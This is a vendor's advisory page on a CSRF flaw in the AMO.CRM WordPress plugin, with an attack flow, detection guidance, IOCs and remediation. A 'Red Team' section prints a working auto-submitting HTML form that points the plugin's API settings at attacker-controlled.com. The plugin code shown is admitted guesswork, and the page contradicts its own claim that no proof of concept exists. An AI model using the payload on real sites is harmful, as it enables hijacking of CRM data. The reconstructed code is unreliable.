CVE-2025-9628
Executive Summary
CVE-2025-9628 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the AMO.CRM plugin for WordPress, up to and including version 1.0.1. The vulnerability exists due to missing or incorrect nonce validation on the settings_page function, allowing an unauthenticated attacker to forge requests that modify critical API connection settings. These settings include the AMO.CRM API URL, login credentials, and API hash key. Successful exploitation requires tricking a site administrator into performing an action, such as clicking a malicious link. The CVSS score is 4.3 (Medium), and the EPSS score is 0.0%, indicating low exploitation likelihood currently. No public proof-of-concept or exploit code is available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. The AMO.CRM plugin integrates with the AMO.CRM service, and the CSRF flaw allows attackers to hijack the API connection, potentially leading to data exfiltration or service disruption. No patch has been released by the vendor.
CVSS Breakdown & Threat Level
- CVSS Score: 4.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Attack Vector (AV): Network – The attack can be launched remotely.
- Attack Complexity (AC): Low – No special conditions required.
- Privileges Required (PR): None – No authentication needed.
- User Interaction (UI): Required – The victim must click a link or perform an action.
- Scope (S): Unchanged – The vulnerability affects only the vulnerable component.
- Confidentiality (C): None – No direct data exposure.
- Integrity (I): Low – API settings can be modified, potentially leading to data manipulation.
- Availability (A): None – No direct denial of service.
Threat Level: Medium. While the CVSS score is moderate, the ability to modify API credentials could lead to significant downstream impacts if the attacker can intercept or manipulate data flows.
Deep Dive & Mechanics
The vulnerability resides in the settings_page function of the AMO.CRM plugin. This function handles the display and processing of plugin settings, including the API URL, login credentials, and API hash key. The plugin fails to implement a nonce (number used once) check when processing POST requests to update these settings. Without a nonce, an attacker can craft a malicious HTML page or link that, when visited by an authenticated administrator, submits a forged request to the WordPress admin area, altering the API configuration.
Attack Flow:
- Attacker identifies a WordPress site using the vulnerable AMO.CRM plugin.
- Attacker crafts a malicious link or HTML form that targets the plugin's settings endpoint (e.g.,
/wp-admin/admin-post.php?action=amo_crm_settings). - Attacker tricks an administrator into clicking the link or visiting the malicious page.
- The administrator's browser sends a forged POST request with modified API settings (e.g., attacker-controlled API URL and credentials).
- The plugin processes the request without validating the nonce, updating the settings.
- The attacker can now intercept or manipulate API communications between the WordPress site and the AMO.CRM service.
Impact: The attacker can redirect API traffic to a malicious endpoint, capture credentials, or inject malicious data into the CRM system.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is assumed to be in the plugin's main file (e.g., amo-crm.php). The vulnerable function likely looks like:
// Vulnerable code (no nonce check)
function settings_page() {
if (isset($_POST['submit'])) {
update_option('amo_crm_api_url', $_POST['api_url']);
update_option('amo_crm_login', $_POST['login']);
update_option('amo_crm_hash', $_POST['hash']);
}
// Display settings form...
}
A patched version would include a nonce check:
// Patched code (with nonce validation)
function settings_page() {
if (isset($_POST['submit'])) {
if (!wp_verify_nonce($_POST['_wpnonce'], 'amo_crm_settings')) {
wp_die('Security check failed.');
}
update_option('amo_crm_api_url', sanitize_text_field($_POST['api_url']));
update_option('amo_crm_login', sanitize_text_field($_POST['login']));
update_option('amo_crm_hash', sanitize_text_field($_POST['hash']));
}
// Display settings form with nonce field...
}
The patched code adds wp_verify_nonce() and uses sanitize_text_field() for input sanitization.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A WordPress site with the AMO.CRM plugin version <= 1.0.1.
- An administrator account (for the victim).
- A web server to host the malicious page.
Step 1: Craft the CSRF Payload
Create an HTML file (csrf.html) that automatically submits a form to the vulnerable endpoint:
<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST" id="csrf_form">
<input type="hidden" name="action" value="amo_crm_settings">
<input type="hidden" name="api_url" value="https://attacker-controlled.com/api/">
<input type="hidden" name="login" value="attacker_login">
<input type="hidden" name="hash" value="attacker_hash">
<input type="hidden" name="submit" value="Save">
</form>
<script>document.getElementById('csrf_form').submit();</script>
</body>
</html>
Step 2: Host and Deliver
Host the file on a server and send the link to the administrator via email or social engineering.
Step 3: Verify
After the administrator visits the link, check the plugin settings to confirm the API URL and credentials have been changed.
Blue Team (Defense & Detection)
Detection:
- Monitor for unexpected changes to the
amo_crm_api_url,amo_crm_login, andamo_crm_hashoptions in the WordPress database. - Look for POST requests to
/wp-admin/admin-post.phpwithaction=amo_crm_settingsfrom unusual referrers or without a valid nonce.
Prevention:
- Implement a Web Application Firewall (WAF) rule to block requests to
admin-post.phpwithout a valid nonce. - Use Content Security Policy (CSP) headers to prevent form submission from external origins.
- Educate administrators about phishing and CSRF attacks.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/wp-admin/admin-post.phpwithaction=amo_crm_settingsand parametersapi_url,login,hash. - Unusual referrer headers (e.g., from attacker-controlled domains).
- POST requests to
- Host:
- Modified WordPress options:
amo_crm_api_url,amo_crm_login,amo_crm_hash. - Unexpected entries in the WordPress options table.
- Modified WordPress options:
- Logs:
- WordPress debug log entries showing settings updates without nonce validation.
Detection Engineering
YARA Rule
The full machine-readable detection artifact (Sigma, YARA, Suricata, Elastic, Splunk or Wazuh rule body) is available through the ValtersIT API — moved there in response to large-scale automated scraping, to keep this independently-researched intelligence sustainable. The written analysis on every record remains fully open.
[ GET API ACCESS ] →Sigma Rule
The full machine-readable detection artifact (Sigma, YARA, Suricata, Elastic, Splunk or Wazuh rule body) is available through the ValtersIT API — moved there in response to large-scale automated scraping, to keep this independently-researched intelligence sustainable. The written analysis on every record remains fully open.
[ GET API ACCESS ] →Suricata Rule
The full machine-readable detection artifact (Sigma, YARA, Suricata, Elastic, Splunk or Wazuh rule body) is available through the ValtersIT API — moved there in response to large-scale automated scraping, to keep this independently-researched intelligence sustainable. The written analysis on every record remains fully open.
[ GET API ACCESS ] →Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available.
- Manually add nonce validation to the plugin code (see patched code example above).
- Review and reset API credentials if compromise is suspected.
Long-term:
- Monitor the vendor's website for an official patch.
- Implement CSRF protection mechanisms (nonces, same-site cookies) in all custom plugins.
- Use a WordPress security plugin that adds CSRF checks.
Workaround:
- Restrict access to the WordPress admin area using IP whitelisting or VPN.
- Use a reverse proxy to block requests to
admin-post.phpwithout a valid nonce.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Security researchers use these queries on Shodan.io to find vulnerable systems globally.
Full Shodan queries for this CVE are available through the ValtersIT API. They were moved behind the API in response to large-scale automated scraping, and to keep this independently-researched intelligence sustainable. The written analysis above remains fully open.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.